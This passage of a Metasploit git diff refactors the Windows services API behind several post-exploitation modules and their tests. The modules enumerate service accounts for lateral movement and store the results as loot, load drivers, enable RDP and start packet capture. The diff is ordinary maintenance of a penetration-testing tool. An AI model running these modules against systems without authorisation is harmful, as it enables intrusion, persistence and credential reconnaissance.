self.class) end - def run # set vars - lootString = "" credentialCount = {} qcred = datastore["CRED"] || nil qpath = datastore["PATH"] || nil + if datastore["TYPE"] == "All" qtype = nil else - qtype = datastore["TYPE"] + qtype = datastore["TYPE"].downcase end + if qcred + qcred = qcred.downcase print_status("Credential Filter: #{qcred}") end + if qpath + qpath = qpath.downcase print_status("Executable Path Filter: #{qpath}") end + if qtype print_status("Start Type Filter: #{qtype}") end - if datastore['VERBOSE'] - print_status("Listing Service Info for matching services:") - else - print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n") - end + results_table = Rex::Ui::Text::Table.new( + 'Header' => 'Services', + 'Indent' => 1, + 'SortIndex' => 0, + 'Columns' => ['Name', 'Credentials', 'Command', 'Startup'] + ) - service_list.each do |sname| + print_status("Listing Service Info for matching services, please wait...") + service_list.each do |srv| srv_conf = {} - isgood = true + # make sure we got a service name - if sname + if srv[:name] begin - srv_conf = service_info(sname) - # filter service based on filters passed, the are cumulative - if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase - isgood = false - end - if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase - isgood = false - end - # There may not be a 'Startup', need to check nil - if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase - isgood = false - end - # count the occurance of specific credentials services are running as - serviceCred = srv_conf['Credentials'].upcase - unless serviceCred.empty? - if credentialCount.has_key?(serviceCred) - credentialCount[serviceCred] += 1 - else - credentialCount[serviceCred] = 1 - # let the user know a new service account has been detected for possible lateral - # movement opportunities - print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'") + srv_conf = service_info(srv[:name]) + if srv_conf[:startname] + # filter service based on filters passed, the are cumulative + if qcred && !srv_conf[:startname].downcase.include?(qcred) + next end + + if qpath && !srv_conf[:path].downcase.include?(qpath) + next + end + + # There may not be a 'Startup', need to check nil + if qtype && !(START_TYPE[srv_conf[:starttype]] || '').downcase.include?(qtype) + next + end + + # count the occurance of specific credentials services are running as + serviceCred = srv_conf[:startname].upcase + unless serviceCred.empty? + if credentialCount.has_key?(serviceCred) + credentialCount[serviceCred] += 1 + else + credentialCount[serviceCred] = 1 + # let the user know a new service account has been detected for possible lateral + # movement opportunities + print_good("New service credential detected: #{srv[:name]} is running as '#{srv_conf[:startname]}'") + end + end + + results_table << [srv[:name], + srv_conf[:startname], + START_TYPE[srv_conf[:starttype]], + srv_conf[:path]] end - # if we are still good return the info - if isgood - msgString = "\tName: #{sname}" - msgString << "\n\t\tStartup: #{srv_conf['Startup']}" - #remove invalid char at the end - commandString = srv_conf['Command'] - commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"") - msgString << "\n\t\t#{commandString}" - msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n" - vprint_good(msgString) - lootString << msgString - end - rescue ::Exception => e - # July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue, - # probably the typical shut-everything-up coding habit. We'll have to fix this later, - # but for now let's at least print the error for debugging purposes - print_error("An error occured enumerating service: #{sname}") - print_error(e.to_s) + rescue RuntimeError => e + print_error("An error occurred enumerating service: #{srv[:name]}: #{e}") end else - print_error("Problem enumerating services (no service name found)") + print_error("Problem enumerating service - no service name found") end end - # store loot on completion of collection - p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services") - print_good("Loot file stored in: #{p.to_s}") + + print_line results_table.to_s + + # store loot on completion of collection + p = store_loot("windows.services", "text/plain", session, results_table.to_s, "windows_services.txt", "Windows Services") + print_good("Loot file stored in: #{p.to_s}") end end diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb index 76350c2f47..9558084429 100644 --- a/modules/post/windows/manage/driver_loader.rb +++ b/modules/post/windows/manage/driver_loader.rb @@ -56,9 +56,9 @@ class Metasploit3 < Msf::Post def run driver = datastore['DRIVER_PATH'] - start = datastore['START_TYPE'] - error = datastore['ERROR_TYPE'] - service = datastore['SERVICE_TYPE'] + start = START_TYPE[datastore['START_TYPE']] + error = ERROR_TYPE[datastore['ERROR_TYPE']] + service = SERVICE_TYPE[datastore['SERVICE_TYPE']] name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME'] @@ -77,9 +77,9 @@ class Metasploit3 < Msf::Post return end - inst = install_driver(driver: driver, start: start, name: name, error: error, service: service) + inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service) - if inst + if inst == Windows::Error::SUCCESS ss = service_start(name) case ss when Windows::Error::SUCCESS @@ -94,30 +94,19 @@ class Metasploit3 < Msf::Post end end - def install_driver(opts={}) - service_all_access = 0xF01FF - service_type = SERVICE_TYPE[opts[:service]] - service_error_type = ERROR_TYPE[opts[:error]] - service_start_type = START_TYPE[opts[:start]] - advapi32 = client.railgun.advapi32 - name = opts[:name] - # Default access: sc_manager_all_access (0xF003F) - ro = open_sc_manager() + def install_driver(name, opts={}) + rc = service_create(name, opts) - rc = advapi32.CreateServiceA(ro, name, name, service_all_access, service_type, service_start_type, service_error_type, opts[:driver], nil, nil, nil, nil, nil) - close_sc_manager(ro) - - if rc['GetLastError'] == Windows::Error::SUCCESS + if rc == Windows::Error::SUCCESS print_status("Service object \"#{name}\" added to the Service Control Manager database.") - close_sc_manager(rc['return']) return true - elsif rc['GetLastError'] == Windows::Error::SERVICE_EXISTS + elsif rc == Windows::Error::SERVICE_EXISTS print_error("The specified service already exists.") # Show ImagePath just to know if the service corresponds to the desired driver. service = service_info(name) - print_error("Path of driver file in \"#{name}\" service: #{service["Command"]}.") + print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.") else - print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.") + print_error("There was an error opening the driver handler. GetLastError=#{rc}.") end return false end diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index d6c3be4f71..16199977ee 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -84,17 +84,20 @@ class Metasploit3 < Msf::Post def enabletssrv(cleanup_rc) - rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService" + service_name = "termservice" + srv_info = service_info(service_name) begin - v2 = registry_getvaldata(rdp_key,"Start") print_status "Setting Terminal Services service startup mode" - if v2 != 2 + if srv_info[:starttype] != START_TYPE_AUTO print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..." - service_change_startup("TermService","auto") + unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS) + print_error("\tUnable to change start type to Auto") + end file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") - cmd_exec("sc", "start termservice", 30) + if (service_start(service_name) == Windows::Error::SUCCESS) + print_good("\tRDP Service Started") + end file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - else print_status "\tTerminal Services service is already set to auto" end diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index 871e6e55ce..b49600378b 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - include Msf::Post::Windows::WindowsServices + include Msf::Post::Windows::Services include Msf::Post::Windows::Priv def initialize(info={}) @@ -41,16 +41,16 @@ class Metasploit3 < Msf::Post serv = service_info("rpcapd") print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service") - if serv['Name'] !~ /remote/i + if serv[:display] !~ /remote/i print_error("This machine doesn't seem to have the rpcapd service") else - print_status("Rpcap service found: #{serv['Name']}") - reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start") - # TODO: check if this works on x64 - prog=session.sys.config.getenv('ProgramFiles') << "\\winpcap\\rpcapd.exe" - if reg != 2 + print_status("Rpcap service found: #{serv[:display]}") + + start_type = serv[:starttype] + prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe" + if start_type != START_TYPE_AUTO print_status("Setting rpcapd as 'auto' service") - service_change_startup("rpcapd","auto") + service_change_startup("rpcapd", START_TYPE_AUTO) end if datastore['ACTIVE']==true if datastore['RHOST']==nil @@ -76,22 +76,15 @@ class Metasploit3 < Msf::Post end def run_rpcapd(p) + service_name = "rpcapd" begin - cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30) - result=service_start("rpcapd") - case result - when 0 - print_good("Rpcapd started successfully: #{p}") - when 1 - print_status("Rpcapd is already running. Restarting service ...") - if service_stop("rpcapd") and service_start("rpcapd") - print_good("Service restarted successfully: #{p}") - else - print_error("There was an error restarting rpcapd.exe. Try to run it again") - end + if service_restart(service_name) + print_good("Rpcapd started successfully: #{p}") + else + print_error("There was an error restarting rpcapd.exe.") end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") + rescue ::Exception => e + print_error("The following Error was encountered: #{e.class} #{e}") end end diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb index f471166bdb..cc2ad55784 100644 --- a/modules/post/windows/recon/computer_browser_discovery.rb +++ b/modules/post/windows/recon/computer_browser_discovery.rb @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post end result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0) - # print_error(result.inspect) + if result['totalentries'] == 0 print_error("No systems found of that type") return diff --git a/plugins/wiki.rb b/plugins/wiki.rb index 28ea387e74..80641e46f0 100644 --- a/plugins/wiki.rb +++ b/plugins/wiki.rb @@ -1,6 +1,6 @@ ## # -# This plugin requires Metasploit: http//metasploit.com/download +# This plugin requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/spec/lib/metasploit/framework/login_scanner/base_spec.rb b/spec/lib/metasploit/framework/login_scanner/base_spec.rb index 522024f9e1..b30725fe12 100644 --- a/spec/lib/metasploit/framework/login_scanner/base_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/base_spec.rb @@ -12,12 +12,33 @@ describe Metasploit::Framework::LoginScanner::Base do end } - subject(:login_scanner) { base_class.new } + let(:options) { + + { + connection_timeout: 1, + cred_details: ["user", "pass"], + host: '1.2.3.4', + port: 4444, + stop_on_success: true, + bruteforce_speed: 5, + + } + } + + subject(:login_scanner) { + base_class.new(options) + } it { should respond_to :bruteforce_speed } context 'validations' do + + it 'is valid!' do + expect(login_scanner).to be_valid + end + context 'bruteforce_speed' do + it 'is not valid for a non-number' do login_scanner.bruteforce_speed = "a" expect(login_scanner).to_not be_valid @@ -36,11 +57,17 @@ describe Metasploit::Framework::LoginScanner::Base do expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0" end + it 'is nil' do + login_scanner.bruteforce_speed = nil + expect(login_scanner).to be_valid + end + it 'is not greater than five' do login_scanner.bruteforce_speed = "6" expect(login_scanner).to_not be_valid expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5" end + end it { should respond_to :sleep_time } diff --git a/spec/lib/msf/http/wordpress/version_spec.rb b/spec/lib/msf/http/wordpress/version_spec.rb index 536228061d..9b14190967 100644 --- a/spec/lib/msf/http/wordpress/version_spec.rb +++ b/spec/lib/msf/http/wordpress/version_spec.rb @@ -91,6 +91,15 @@ describe Msf::HTTP::Wordpress::Version do it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) } end + context 'when version from readme has arbitrary leading whitespace' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'stable tag: 1.0.0' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + let(:wp_body) { 'stable tag:1.0.0' } + it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + context 'when installed version is vulnerable' do let(:wp_code) { 200 } let(:wp_fixed_version) { '1.0.1' } diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb index e76a845025..1ca3b47739 100644 --- a/test/modules/exploits/test/cmdweb.rb +++ b/test/modules/exploits/test/cmdweb.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote # =( need more targets and perhaps more OS specific return values OS specific would be preferred include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Rex::Exploitation::CmdStagerVBS def initialize(info = {}) super(update_info(info, diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 08454fa920..d5c9c9dff5 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -13,7 +13,6 @@ require 'module_test' class Metasploit3 < Msf::Post include Msf::Post::Windows::Services - include Msf::ModuleTest::PostTest def initialize(info={}) @@ -22,7 +21,6 @@ class Metasploit3 < Msf::Post 'Description' => %q{ This module will test windows services methods within a shell}, 'License' => MSF_LICENSE, 'Author' => [ 'kernelsmith', 'egypt' ], - 'Version' => '$Revision: 11663 $', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter', 'shell' ] )) @@ -44,19 +42,19 @@ class Metasploit3 < Msf::Post it "should start #{datastore["SSERVICE"]}" do ret = true results = service_start(datastore['SSERVICE']) - if results != 0 + if results != Windows::Error::SUCCESS # Failed the first time, try to stop it first, then try again service_stop(datastore['SSERVICE']) results = service_start(datastore['SSERVICE']) end - ret &&= (results == 0) + ret &&= (results == Windows::Error::SUCCESS) ret end it "should stop #{datastore["SSERVICE"]}" do ret = true results = service_stop(datastore['SSERVICE']) - ret &&= (results == 0) + ret &&= (results == Windows::Error::SUCCESS) ret end @@ -69,24 +67,24 @@ class Metasploit3 < Msf::Post ret &&= results.kind_of? Array ret &&= results.length > 0 - ret &&= results.include? datastore["QSERVICE"] + ret &&= results.select{|service| service[:name] == datastore["QSERVICE"]} ret end end def test_info - it "should return info on a given service" do + it "should return info on a given service #{datastore["QSERVICE"]}" do ret = true results = service_info(datastore['QSERVICE']) ret &&= results.kind_of? Hash if ret - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == "Windows Management Instrumentation") - ret &&= results.has_key? "Startup" - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" + ret &&= results.has_key? :display + ret &&= (results[:display] == "Windows Management Instrumentation") + ret &&= results.has_key? :starttype + ret &&= results.has_key? :path + ret &&= results.has_key? :startname end ret @@ -94,40 +92,157 @@ class Metasploit3 < Msf::Post end def test_create - it "should create a service" do + it "should create a service #{datastore["NSERVICE"]}" do mode = case datastore["MODE"] - when "disable"; 4 - when "manual"; 3 - when "auto"; 2 - else; 2 + when "disable"; START_TYPE_DISABLED + when "manual"; START_TYPE_MANUAL + when "auto"; START_TYPE_AUTO + else; START_TYPE AUTO end - ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) - ret + ret = service_create(datastore['NSERVICE'], + display: datastore['DNAME'], + path: datastore['BINPATH'], + starttype: mode) + + ret == Windows::Error::SUCCESS end - it "should return info on the newly-created service" do + it "should return info on the newly-created service #{datastore["NSERVICE"]}" do ret = true results = service_info(datastore['NSERVICE']) ret &&= results.kind_of? Hash - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == datastore["DNAME"]) - ret &&= results.has_key? "Startup" - ret &&= (results["Startup"].downcase == datastore["MODE"]) - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" + ret &&= results.has_key? :display + ret &&= (results[:display] == datastore["DNAME"]) + ret &&= results.has_key? :starttype + ret &&= (START_TYPE[results[:starttype]].downcase == datastore["MODE"]) + ret &&= results.has_key? :path + ret &&= results.has_key? :startname ret end - it "should delete the new service" do + it "should delete the new service #{datastore["NSERVICE"]}" do ret = service_delete(datastore['NSERVICE']) + ret == Windows::Error::SUCCESS + end + end + + def test_status + it "should return status on a given service #{datastore["QSERVICE"]}" do + ret = true + results = service_status(datastore['QSERVICE']) + + ret &&= results.kind_of? Hash + if ret + ret &&= results.has_key? :state + ret &&= (results[:state] > 0 && results[:state] < 8) + end + ret end end + def test_change + service_name = "a" << Rex::Text.rand_text_alpha(5) + display_name = service_name + + it "should modify config on a given service #{service_name}" do + ret = true + + results = service_create(service_name, + display: display_name, + path: datastore['BINPATH'], + starttype: START_TYPE_DISABLED) + + ret &&= (results == Windows::Error::SUCCESS) + results = service_status(service_name) + ret &&= results.kind_of? Hash + if ret + original_display = results[:display] + results = service_change_config(service_name, {:display => Rex::Text.rand_text_alpha(5)}) + ret &&= (results == Windows::Error::SUCCESS) + + results = service_info(service_name) + ret &&= (results[:display] != original_display) + + service_delete(service_name) + + end + + ret + end + end + + def test_restart_disabled + service_name = "a" << Rex::Text.rand_text_alpha(5) + display_name = service_name + + it "should start a disabled service #{service_name}" do + ret = true + results = service_create(service_name, + display: display_name, + path: datastore['BINPATH'], + starttype: START_TYPE_DISABLED) + + ret &&= (results == Windows::Error::SUCCESS) + if ret + begin + results = service_restart(service_name) + ensure + service_delete(service_name) + end + ret &&= results + end + + ret + end + end + + def test_restart_start + service_name = datastore['SSERVICE'] + + it "should restart a started service #{service_name}" do + ret = true + + results = service_start(service_name) + ret &&= (results == Windows::Error::SUCCESS) + if ret + results = service_restart(service_name) + ret &&= results + end + + ret + end + end + + def test_noaccess + it "should raise a runtime exception if no access to service" do + ret = false + begin + results = service_stop("gpsvc") + rescue RuntimeError + ret = true + end + + ret + end + end + + def test_no_service + it "should raise a runtime exception if services doesnt exist" do + ret = false + begin + results = service_status(Rex::Text.rand_text_alpha(5)) + rescue RuntimeError + ret = true + end + + ret + end + end =begin def run diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 788b34f28e..ba52332b91 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -593,7 +593,7 @@ class Msftidy # This module then got copied and committed 20+ times and is used in numerous other places. # This ensures that this stops. def check_invalid_url_scheme - test = @source.scan(/^#.+http\/\/metasploit.com/) + test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/) unless test.empty? test.each { |item| info("Invalid URL: #{item}")